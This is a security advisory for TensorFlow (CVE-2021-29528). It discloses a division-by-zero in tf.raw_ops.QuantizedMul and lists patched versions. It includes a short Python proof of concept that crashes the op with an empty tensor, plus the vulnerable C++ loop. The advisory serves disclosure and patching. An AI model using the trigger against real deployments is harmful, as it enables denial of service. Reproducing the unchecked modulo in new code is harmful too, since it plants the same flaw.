Division by 0 in `QuantizedMul`

Low **mihaimaruseac** published **GHSA-6f84-42vf-ppwp** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can trigger a division by 0 in `tf.raw_ops.QuantizedMul`:

```
import tensorflow as tf

x = tf.zeros([4, 1], dtype=tf.quint8)
y = tf.constant([], dtype=tf.quint8)
min_x = tf.constant(0.0)
max_x = tf.constant(0.00100000000474974513)
min_y = tf.constant(0.0)
max_y = tf.constant(0.00100000000474974513)

tf.raw_ops.QuantizedMul(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y)
```

This is because the implementation does a division by a quantity that is controlled by the caller:

```
template <class T, class Toutput>
void VectorTensorMultiply(const T* vector_data, int32 vector_offset,
                          int64 vector_num_elements, const T* tensor_data,
                          int32 tensor_offset, int64 tensor_num_elements,
                          Toutput* output) {
  for (int i = 0; i < tensor_num_elements; ++i) {
    const int64 vector_i = i % vector_num_elements;
    ...
  }
}
```

Patches

We have patched the issue in GitHub commit a1b11d2fdd1e51bfe18bb1ede804f60abfa92da6.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29528

Weaknesses

No CWEs